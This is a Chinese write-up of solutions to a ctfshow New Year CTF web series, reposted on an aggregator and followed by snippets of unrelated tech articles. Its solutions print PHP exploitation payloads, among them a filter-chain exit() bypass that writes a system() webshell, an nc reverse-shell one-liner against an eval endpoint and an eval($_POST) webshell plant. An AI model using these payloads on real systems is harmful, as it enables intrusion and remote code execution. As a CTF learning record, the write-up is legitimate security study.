ctfshow 新春欢乐赛 web

web1

<?phphighlight_file(__FILE__);
error_reporting(0);$content = $_GET[content];
file_put_contents($content,'<?php exit();'.$content);
?content=php://filter/string.rot13|<?cuc flfgrz('yf /');?>|/resource=shell.php

绕过死亡exit
但是我发现个问题就是不能写马,弄了也没利用好
在这里插入图片描述

热身

<?phpeval($_GET['f']);

代码看起来很简单,我想的是弹shell然后随便就拿到flag了结果找半天找不到

?f=%0a`nc ip port -e /bin/sh`;
?f=phpinfo();     读取到flag位置

在这里插入图片描述
长知识了我以为这个东西只能用来文件包含

cat /etc/ssh/secret/youneverknow/secret.php

在这里插入图片描述

web2

<?phphighlight_file(__FILE__);
session_start();              
error_reporting(0);include "flag.php";if(count($_POST)===1){extract($_POST);if (call_user_func($$$$$${key($_POST)})==="HappyNewYear"){echo $flag;}
}
?>

说说重要代码和思路
在这里插入图片描述

if (call_user_func($$$$$${key($_POST)})==="HappyNewYear")
首先回调函数那么我们肯定是要进行函数调用达到目的的 而调用什么函数呢,session_start()给了答案
key:value这是我们传参的键值对  key函数就是获得我们的键名
而这个$$$$$$ 是可以动态的将获取到的键名变为变量使用
(我之前看到的是与parse_url()函数进行综合使用,然后分段url的,今天见到了第二种用法)

分析之后我们用session_id这个会当即引用cookie的ID

例子:
key:       46546513
名字         ID
session_id=session_id
然后修改cookie为HappyNewYear

在这里插入图片描述

web3

<?phphighlight_file(__FILE__);
error_reporting(0);include "flag.php";
$key=  call_user_func(($_GET[1]));if($key=="HappyNewYear"){echo $flag;
}die("虎年大吉,新春快乐!");虎年大吉,新春快乐!

在这里插入图片描述
在进行弱比较的时候字符串若不为空,其布尔值都为true,那么我们只要是key执行结果为true即可

?1=json_last_error
?1=session_start
?1=error_reporting

web4

<?phphighlight_file(__FILE__);
error_reporting(0);$key=  call_user_func(($_GET[1]));
file_put_contents($key, "<?php eval(\$_POST[1]);?>");die("虎年大吉,新春快乐!");虎年大吉,新春快乐!

我们要把小马写进去

spl_autoload_extensions()函数用于设置 PHP 自动加载机制中搜索类或接口文件的扩展名范围。默认情况下,PHP 只会搜索 .php 文件。如果有设置还会搜索.inc

那么我们就可以利用这个函数来进行getshell

?1=spl_autoload_extensions

访问.php结果无回显
估计就是被设置的那种了那么我们访问
.inc,.php
然后基础rce

web5

<?phperror_reporting(0);
highlight_file(__FILE__);include "🐯🐯.php";
file_put_contents("🐯", $flag);
$🐯 = str_replace("hu", "🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯", $_POST['🐯']);
file_put_contents("🐯", $🐯);

file_put_contents()函数可以写文件如果文件存在则进行覆盖文件内容
那么这里使用的一个溢出来进行发送

经过计算524280个就够了
试验也是,但是访问🐯下载文件并没有获得flag。不知道为啥,莫非时间太久远了?

web6

先欠着,这两天期末考试

web7

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/861399.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

docker部署(第一期)(相关命令)

腾讯云-----------镜像centOS 7.9 64位置---------------分配独立公网IP&#xff08;远程连接&#xff09;----------带宽选择最大-------------新建安全组-------------设置服务器密码---------WindTerm远程连接服务器 WindTerm下载&#xff1a;https://github.com/kingToolb…

自动驾驶仿真道路创建(generation road)

在模拟或设计软件中创建道路并指定其特征是一个复杂但必要的过程&#xff0c;尤其是在进行交通模拟、城市规划或道路设计项目时。以下是一个步骤化的指南&#xff0c;用于说明如何创建道路特征&#xff1a; 水平剖面&#xff1a; 使用设计软件的绘图工具来绘制道路的中心线或边…

Fragment与ViewModel(MVVM架构)

简介 在Android应用开发中&#xff0c;Fragment和ViewModel是两个非常重要的概念&#xff0c;它们分别属于架构组件库的一部分&#xff0c;旨在帮助开发者构建更加模块化、健壮且易维护的应用。 Fragment Fragment是Android系统提供的一种可重用的UI组件&#xff0c;它能够作为…

基于51单片机密码锁—六位密码LCD1602显示

基于51单片机密码锁设计 &#xff08;仿真&#xff0b;程序&#xff0b;设计报告&#xff09; 功能介绍 具体功能&#xff1a; 1.密码为六位数字&#xff0c;有键按下&#xff0c;LCD1602就会显示出字符 “*”&#xff1b; 2.当用户键入正确密码后&#xff0c;再按确认键&a…

Cesium中加载geoserver发布的二维地图服务

1.第一步&#xff0c;先引入cesium。 2.进行初始化配置&#xff0c;进行加载显示cesium. 3.使用geoserver进行地图服务发布. 4.发布成功后使用cesium进行加载显示&#xff1a;代码如下图 //加载geoserver发布的wms服务var wmsImageryProvider new Cesium.WebMapServiceImagery…

是时候系统性的的学习那些开发中必备的软件了!

大家好&#xff0c;我是 王有志&#xff0c;一个分享硬核 Java 技术的金融摸鱼侠&#xff0c;欢迎大家加入 Java 人自己的交流群“共同富裕的 Java 人”。 最近小组内心来了两个实习生&#xff0c;各方面都很不错&#xff0c;基础知识扎实&#xff0c;勤奋好学&#xff08;卷&…

最大化互信息Maximizing Mutual Information

最大化互信息&#xff08;Maximizing Mutual Information, MMI&#xff09;是一种用于提高机器学习模型性能的方法&#xff0c;尤其在自然语言处理、计算机视觉和推荐系统等领域。互信息是衡量两个随机变量之间相互依赖程度的指标。MMI方法的目标是通过最大化输入和输出之间的互…

记一次 APK 逆向动静调试 + so 动态链接库分析

0x00 前言&#xff1a; 好久没有做过安卓逆向了&#xff0c;最近重新系统地学习了安卓逆向技术。找到了一道较为典型的逆向分析题来练手&#xff0c;以锻炼动静态分析和动态链接库分析的基本能力。在这里记录基本的分析流程手法。 0x01 逆向分析&#xff1a; 一、使用 Genym…

深入解析京东_item_get接口:技术细节与应用场景

在电商领域&#xff0c;实时、准确的数据对于商家、开发者和消费者都至关重要。京东作为中国领先的电商平台&#xff0c;提供了丰富的API接口供开发者使用&#xff0c;其中JD.item_get接口尤为引人注目。本文将对JD.item_get接口进行深入的技术解析&#xff0c;并探讨其应用场景…

在 PHP 中,如何优化大型项目的性能,特别是在处理高并发请求时?

要优化大型项目的性能&#xff0c;特别是在处理高并发请求时&#xff0c;可以考虑以下几个方面&#xff1a; 使用缓存&#xff1a;通过使用缓存来减轻数据库和计算的压力。可以使用各种缓存技术&#xff0c;如 Memcached 或 Redis&#xff0c;将频繁使用的数据存储在缓存中&…

歌尔气压计SPA06-003在无人机的创新应用

随着科技的不断进步&#xff0c;各类智能设备的功能日益强大&#xff0c;其中气压计作为一种能够测量大气压力的传感器&#xff0c;已被广泛应用于多种领域。歌尔气压计以其高精度、低功耗的特点&#xff0c;在无人机和智能手表上的应用尤为突出&#xff0c;为这两个领域的产品…

Python的ctypes库的使用

ctypes 基本数据类型映射表 ctypes 是 Python 的外部函数库。提供了与 C 兼容的数据类型&#xff0c;并允许调用 DLL 或共享库中的函数。可使用该模块以纯 Python 形式对这些库进行封装。下面主要介绍如何使用 ctypes 模块对 C 语言编译的动态链接库要求的数据类型进行封装&am…

IPython最简洁方便的Python语法测试工具

前言和需求 相信不少人使用JS时&#xff0c;最常用的快捷键是F12。网页调试&#xff0c;不仅可以调试我们的前端页面&#xff0c;对于多数后端JS程序员来讲&#xff0c;我们有个啥语法不确定了&#xff0c;直接开个网页F12确认一下就行了。甚至写了个方法&#xff0c;不确定对…

springboot + Vue前后端项目(第十九记)

项目实战第十九记 写在前面1. redis安装(windows安装)1.1 获取软件链接地址&#xff1a;1.2 启动redis1.3 测试是否启动成功1.4 通过 Another Redis DeskTop软件可视化查看redis 2. SpringBoot集成redis2.1 引入依赖2.2 注入RedisTemplate2.3 使用redis2.4 redis更新2.5 redis使…

【自然语言处理系列】掌握jieba分词器:从基础到实战,深入文本分析与词云图展示

本文旨在全面介绍jieba分词器的功能与应用&#xff0c;从分词器的基本情况入手&#xff0c;逐步解析全模式与精确模式的不同应用场景。文章进一步指导读者如何通过添加自定义词典优化分词效果&#xff0c;以及如何利用jieba分词器进行关键词抽取和词性标注&#xff0c;为后续的…

美创携手浙江长征职业技术学院,共建智云数据安全大师工作室

6月24日&#xff0c;“美创科技浙江长征职业技术学院智云数据安全大师工作室揭牌暨中国特色学徒制第四期云数据安全和智能运维人才选拔培养启动仪式”在长征职业技术学院隆重举行。 浙江长征职业技术学院计算机与信息技术学院院长梅灿华、计算机与信息技术学院学工办副主任华春…

秋招Java后端开发冲刺——基础篇3

一、Java泛型 Java 1.5中引入的一个新特性&#xff0c;其本质是参数化类型&#xff0c;可以增强代码的可读性以及稳定性。分类 泛型类&#xff1a;在类定义时类名后加&#xff0c;其中T表示泛型泛型接口&#xff1a;与泛型类相似泛型方法&#xff1a;静态泛型方法是没有办法使…

使用 frida hook Android app

Frida&#xff1a; 一种基于动态插装&#xff08;dynamic instrumentation&#xff09;技术的工具包&#xff0c;它主要是为测试人员、开发人员和逆向工程爱好者创建&#xff0c;在目标程序运行时&#xff0c;允许用户将 JavaScript代码注入其中&#xff0c;实现动态修改和调试…

ONLYOFFICE8.1版本桌面编辑器的测评

首先我们先出示一下我们所测评官网的链接&#xff1a; ONLYOFFICE官网链接&#xff1a;ONLYOFFICE - 企业在线办公应用软件 | ONLYOFFICE 我们这款ONLYOFFICE8.1版本有这一下优点 1.解决PDF痛点 ONLYOFFICE在PDF编辑方面支持高亮显示、下划线和删除线、添加批注等功能&#…

【2024最新版】Eclipse安装配置全攻略:图文详解

目录 1. Eclipse介绍1.1 背景1.2 主要特点和功能1.3 版本发布1.4 优势与劣势 2. 下载Eclipse3. 安装Eclipse4. 启动Eclipse 1. Eclipse介绍 Eclipse是一个开源的、基于Java的可扩展开发平台&#xff0c;主要用于Java开发者&#xff0c;但也支持其他语言如C/C、PHP、Python等。…